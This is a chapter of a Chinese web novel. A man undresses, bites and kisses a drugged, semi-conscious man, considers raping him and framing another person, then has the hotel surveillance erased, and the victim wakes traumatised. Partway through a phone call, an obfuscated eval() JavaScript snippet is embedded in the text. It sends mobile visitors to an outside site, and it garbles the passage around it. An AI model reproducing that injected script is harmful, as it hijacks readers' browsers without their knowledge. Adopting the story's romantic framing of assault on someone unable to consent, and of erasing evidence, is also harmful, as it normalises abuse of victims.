25.025

作品:《别钓,我才是猎手

    陆野走进包厢,一眼便看见蜷缩在角落里的人。


    沈清宴眼尾泛着不正常的红,整个人软得像一摊水,连坐都坐不稳。


    陆野周身的戾气几乎要凝成实质,他扫过地上哀嚎的几个人,连多余的话都懒得说,只冷声吩咐手底下的人处理。


    陆野大步来到沈清宴身边,弯腰,小心翼翼地将人打横抱起。


    沈清宴很轻,浑身滚烫,意识模糊间本能地往他怀里靠了靠,鼻尖轻轻地在他胸口蹭了蹭。


    就这一下,陆野浑身一僵,喉结狠狠滚动了一下。


    他把人带到酒吧的总统套房,放在床上。


    灯没开,只有窗外微弱的月光照进来,落在沈清宴泛着红晕的脸上。


    平日里清冷疏离的人,此刻卸去所有防备,安安静静的躺在床上,脆弱得好似一碰就碎,连呼吸都带着轻颤。


    陆野蹲在床边,盯着沈清宴看了很久,此时他的心软得一塌糊涂,又疯得想把人彻底揉进骨血里。


    指腹轻轻碰了一下他的脸颊,烫,软。


    日思夜想的人就在眼前,陆野忍了又忍,终究还是没忍住。


    他俯身下去,先是极轻地在他唇角碰了一下。


    沈清宴无意识地嘤了一声,眉头微蹙,却没有躲。


    这一下,彻底勾出了陆野骨子里的疯劲。


    平日里穿西装清瘦挺拔,看着十分单薄,可真等衣衫褪尽,才看见那层清冷皮囊下的完美线条。


    肩背有型,脖颈修长,腰腹紧实,皮肉细腻,白得近乎晃眼。


    指尖一贴上去,就像被什么轻轻吸住,滑、软、嫩,不是虚浮的瘦,是藏得极好、有质感的身段。


    这一刻,陆野只想在这片白得刺眼的肌肤上留下自己的痕迹。


    齿尖轻轻陷下去时,软中带着一点韧,身下的人会无意识轻颤,那一点细碎反应,都能把他最后一点理智冲得七零八落。


    疯了似的,只想占有!


    他沿着下颌线,一点一点往下……


    沈清宴昏昏沉沉,只觉得浑身又热又麻,难受得往凉处缩,下意识地抓住了陆野的手腕。


    就这一抓,陆野身体绷得快要断裂,呼吸又重又烫,眼底翻涌的欲/望几乎要将人彻底吞没。


    他硬生生停在最后一步之前,浑身肌肉绷得像拉到极致的弓弦,汗水滴在沈清宴的锁骨上,烫得惊人。


    陆野盯着身下这张毫无防备,任人采撷的脸,一个疯狂的念头猛地窜进脑海:不如真的做到最后,等他醒来嫁祸旁人,自己以救世主的姿态出现,护着他、哄着他,让他以后只依赖自己,眼里再无他人。


    这个念头让他战栗,也让他瞬间清醒。


    不行。


    陆野伏在他颈间,发出一声痛苦又亢奋的低喘,像一头被欲/望困住的野兽。


    他撑起身,盯着床上的人看了很久。


    然后他伸手,把被子拉上来,盖住那一片狼藉的白。


    动作很轻,像是在盖一件易碎的瓷器。


    他在床边坐了一夜。


    “这次放过你。”临走前,他在沈清宴泛红的耳尖上轻轻一碰,“下次,可没那么便宜了。”


    走出房门,他拿出手机拨了个电话,“处理掉铂悦总统套房楼层昨晚的所有监控,还有我的出入记录,一点痕迹都别留下。”


    *


    沈清宴头疼欲裂,睁开眼,映入眼帘的是一片陌生的天花板。


    他愣怔了几秒,猛地坐起身。


    动作太急,眼前骤然一黑,他撑着床,等那阵晕眩缓缓褪去。


    再低头时,他看清了自己身上的惨状。


    沈清宴咬牙低声咒骂了一句。


    刚一张嘴,唇角瞬间传来一阵尖锐的刺痛,沈清宴后知后觉地意识到连嘴都被人咬破了。


    沈清宴闭了闭眼,试图回想昨晚的一切,却只有零碎的画面:酒吧、酒杯、有人靠近……


    再往后,便是一片空白。


    他不知道这是哪里,不知道发生了什么,更不知道是什么人,在他毫无意识的时候,把他弄成这副模样。


    莫名的恐惧充斥心头,沈清宴只想尽快逃离这个地方。


    他匆忙起身穿衣,快步离开,即便身体仍发虚发软,也不敢多停留一分一秒。


    他离开房间,下楼,发现这是一家酒店的总统套房。


    前台的人告诉他:房费已经付了,是一位先生付的。


    “叫什么?”


    “不知道,他没留名字。”


    沈清宴站在酒店门口,阳光很烈,刺得眼眶发疼,他下意识闭上眼。


    再睁眼时,眼中已经恢复平静。


    沈清宴拿出手机,直接拨通了特助的电话。


    电话刚响一声就被接起。


    “沈总。”


    “帮我查昨晚城南铂悦酒店总统套房楼层的全部监控和出入记录,直接跟酒店沟通,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314417|197947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    监控数据我全部买断,不许外泄。”


    特助立刻道:“是,沈总。我马上办。”


    挂了电话,随手拦了一辆出租车。


    回家的路上,沈清宴把所有得罪过的人都在脑子里过了一遍。


    原主回国时间不长,接触的人本就不多,真正有过正面冲突的,只有周慕辰一个。


    想到周慕辰的人品,沈清宴几乎已经认定,这事就是他做的。


    回到家,他径直走进浴室。


    衣衫褪尽,沈清宴抬眼看向镜中的自己,头皮一阵发麻。


    锁骨、肩颈、胸前、腰侧,甚至大腿内侧……


    全是深深浅浅的淤紫、齿痕,密密麻麻的覆在皮肤上


    沈清宴盯着镜子看了很久,然后打开花洒,冷水从头浇到脚。


    水很凉,他没躲。


    不知道冲了多久,他才关掉水,扯过浴巾,用力擦那些痕迹。一下,一下,皮肤都擦红了,痕迹还在。


    沈清宴从浴室出来,手机里有一个未接来电,是特助的电话。


    沈清宴直接打了回去。


    “沈总,事情有点棘手。”特助的语气带着几分凝重,“我去跟酒店那边沟通过了,昨晚城南铂悦酒店总统套房楼层的监控,全部损坏,没有任何留存画面。”


    沈清宴心头猛地一跳。


    “出入记录呢?”


    “登记记录一切正常,没有查到任何可疑人员出入,也没有额外访客记录。能抹掉这么完整的监控,对方显然是有备而来。”


    挂断电话,沈清宴手指冰凉。


    最初他几乎笃定是周慕辰报复,毕竟这个继兄一直看他不顺眼,前不久两个人还因为苏暖起了争执。


    可现在监控被抹除、出入记录毫无破绽,这份通天手段,早已不是周慕辰那种只会耍横的二世祖能做到的。


    有这种手段、能压住记录、能做得这么干净……


    沈清宴脑子里闪过一张脸。


    他攥紧手机,又松开。


    是他吗?


    万一不是他呢?


    他也不知道自己希望听到的是哪一种答案。


    闭了闭眼,沈清宴拿起手机,指尖微微发抖,犹豫再三还是拨通了那个号码。


    电话接通,陆野低沉的声音像往常一样散漫:“清宴哥,真难得,你竟然主动找我?”


    沈清宴现在一张嘴,唇角就疼,他只能抿着唇说:“有空吗?见一面。”